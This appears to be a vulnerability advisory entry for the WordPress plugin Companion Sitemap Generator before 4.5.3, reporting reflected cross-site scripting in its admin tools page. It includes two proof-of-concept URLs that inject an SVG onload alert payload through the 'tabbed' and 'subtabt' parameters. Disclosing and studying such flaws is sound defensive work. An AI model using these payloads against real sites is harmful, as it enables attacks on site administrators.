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wpexploitWpvulndbWPEX-ID:8176308F-F210-4109-9C88-9372415DBED3
HistoryJun 19, 2023 - 12:00 a.m.

Companion Sitemap Generator < 4.5.3 - Reflected XSS

2023-06-1900:00:00
wpvulndb
69
companion sitemap generator
reflected xss
logged-in admin interface
security exploit

EPSS

0.001

Percentile

41.5%

The plugin does not sanitise and escape some parameters before outputting them back in pages, leading to Reflected Cross-Site Scripting which could be used against high privilege users such as admin.

Make a logged-in admin open:

https://example.com/wp-admin/tools.php?page=csg-sitemap&tabbed=<svg/onload=alert(/XSS/)>

https://example.com/wp-admin/tools.php?page=csg-sitemap&tabbed=exclusion&subtabt=<svg/onload=alert(/XSS/)>

EPSS

0.001

Percentile

41.5%

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